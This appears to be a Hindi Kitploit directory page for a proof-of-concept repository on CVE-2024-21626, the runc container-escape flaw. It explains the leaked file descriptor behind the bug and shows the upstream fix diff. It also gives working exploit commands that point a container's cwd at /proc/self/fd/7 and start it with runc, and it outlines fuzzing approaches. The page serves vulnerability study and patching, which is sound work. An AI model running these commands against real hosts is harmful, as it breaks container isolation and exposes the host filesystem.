Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-21626-PoC — मूल कारण और प्रूफ ऑफ कोड | Kitploit
उपकरण/GitHubGitHub/r4mbb/cve-2024-21626-poc
भेद्यता विश्लेषणशोषणफज़िंगपेनिट्रेशन टेस्टिंगकंटेनर एस्केपबाइनरी शोषण
GitHubr4mbb/cve-2024-21626-poc

CVE-2024-21626-PoC

मूल कारण और प्रूफ ऑफ कोड

रिपॉजिटरी देखें
51 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-21626

मूल कारण और प्रूफ ऑफ कोड

poc-autoplay का उपयोग कैसे करें?

root@kitploit:~
make install

make uninstall

1. मूल कारण

  • runc v1.1.11 और उससे नीचे के संस्करणों में, cgroup सेट करने के लिए होस्ट के /sys/fs/cgroup डायरेक्टरी को खोलने की प्रक्रिया में, उस फ़ाइल डिस्क्रिप्टर को कंटेनर इनिशियलाइज़ेशन प्रक्रिया में बंद नहीं किया गया, जिससे यह कमजोरी उत्पन्न हुई।
  1. runc init चरण में, होस्ट के /sys/fs/cgroup के माध्यम से /proc/{PID}/fd/7 प्राप्त करें।
  2. उस fd को बंद किए बिना कंटेनर PID 1 को fork/exec करें।
  3. runc के spec या runc exec —cwd विकल्प में कार्यशील निर्देशिका (cwd) को ऊपर प्राप्त /proc/self/fd/7/ जैसे हमलावर-नियंत्रित पथ पर सेट करें।
  4. chdir के बाद, PID 1 का cwd कंटेनर के rootfs के बाहर चला जाता है।
  5. कंटेनर के अंदर की प्रक्रिया होस्ट फ़ाइल सिस्टम तक पहुँच या उसे संशोधित कर सकती है, जिससे कंटेनर एस्केप हो जाता है।
root@kitploit:~
--- a/libcontainer/init_linux.go
+++ b/libcontainer/init_linux.go
@@ -7,6 +7,7 @@ import (
        "net"
        "os"
        +    "path/filepath"
        "runtime"
        "runtime/debug"
        "strconv"
        @@ -268,6 +272,32 @@ func populateProcessEnvironment(env []string) error {
        return nil
        }

        +// verifyCwd ensures that the current working directory is still inside
        +// the container’s mount-namespace root. If getcwd(2) returns ENOENT,
         // it indicates the cwd is outside the container.
         // See CVE-2024-21626.
        +func verifyCwd() error {
        +   if wd, err := unix.Getwd(); errors.Is(err, unix.ENOENT) {
        +       return errors.New("current working directory is outside of container mount namespace root -- possible container breakout detected")
        +   } else if err != nil {
        +       return fmt.Errorf("failed to verify if current working directory is safe: %w", err)
        +   } else if !filepath.IsAbs(wd) {
            +       // Sanity check: cwd should always be absolute
                +       return fmt.Errorf("current working directory is not absolute -- possible container breakout detected: cwd is %q", wd)
                +   }
        +   return nil
            +}

            @@ -326,6 +353,10 @@ func finalizeNamespace(config *initConfig) error {
                if err := system.ClearKeepCaps(); err != nil {
                    return fmt.Errorf("unable to clear keep caps: %w", err)
                }
                +    // After chdir to config.Cwd, ensure it’s still inside the container
                    +    if err := verifyCwd(); err != nil {
                        +        return err
                            +    }
                return nil
            }
  • chdir के तुरंत बाद cwd को सत्यापित करने के लिए तर्क जोड़ा गया।
  • libcontainer/init_linux.go में verifyCwd() फ़ंक्शन जोड़ा गया, जो chdir के बाद जाँचता है कि cwd अभी भी कंटेनर के अंदर है या नहीं और त्रुटि उत्पन्न करता है या नहीं।
  • लीक हुए फ़ाइल डिस्क्रिप्टर को बंद करने के लिए तर्क जोड़ा गया।
  • अंतिम execve से ठीक पहले सभी आंतरिक fd को बंद करने के लिए कदम उठाए गए ताकि होस्ट fd कंटेनर प्रक्रिया में न रहे।

2. प्रूफ ऑफ कॉन्सेप्ट

  • वातावरण
root@kitploit:~
    - wsl, vmware (Ubuntu 18 ~ 22)
    - kernel (6.6.87)
    - runc ( ≤ 1.1.11)
    - docker (28.1.1)
    - go (1.20.14)
  • runc के माध्यम से शोषण
root@kitploit:~
    mkdir CVE-2024-21626 && cd CVE-2024-21626 && mkdir rootfs

    docker pull alpine:latest
    docker export $(docker create alpine:latest) | tar x -C rootfs/

    runc spec
    sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json

    sudo bash -c "exec 7</; runc run demo"

डोकर के अंदर से स्थानीय / पथ से शुरू करना।

  • कंटेनर निर्माण के समय कार्यशील निर्देशिका को एक विशिष्ट फ़ाइल डिस्क्रिप्टर पर सेट किया जाना चाहिए। होस्ट के खुले fd और कंटेनर के अंदर के fd जुड़ जाते हैं, जिससे डोकर एस्केप संभव हो जाता है।

  • PoC फ़ाइल -> https://drive.google.com/file/d/14ttL_Hzbg1GO8WFt3fIfdP7Ik0s1yOM3/view?usp=sharing

root@kitploit:~
- make install, make uninstall
  • PoC MP4 -> https://drive.google.com/file/d/1NQwCPwxi51l_RFr8KMACH0Cupe7w_AnE/view?usp=sharing

3. इस कमजोरी को फ़ज़ कैसे किया जा सकता है?

  • उस कमजोर runc बाइनरी के लिए go-fuzz चलाने का तरीका।
  • कमजोर फ़ंक्शन finalizeNamespace() के अंदर chdir(config.Cwd) प्रोसेसिंग भाग को लक्षित करते हुए, यादृच्छिक OCI कॉन्फिग को इनपुट के रूप में देकर ऐसा किया जा सकता है।
  • इस तरीके से, chdir के बाद cwd में सापेक्ष पथ पर अपवाद प्रबंधन या क्रैश भाग का विश्लेषण किया जा सकता है।
  • कमजोर संस्करण के runc बाइनरी पर AFL++ का उपयोग करके ऐसा करने का तरीका।
  • OCI spec JSON और runc CLI आर्गुमेंट को फ़ज़ करने का तरीका है।
  • OCI spec JSON में cwd भाग को लक्षित करके, chdir बिंदु पर होने वाले क्रैश का विश्लेषण किया जा सकता है।
टूल डाउनलोड करें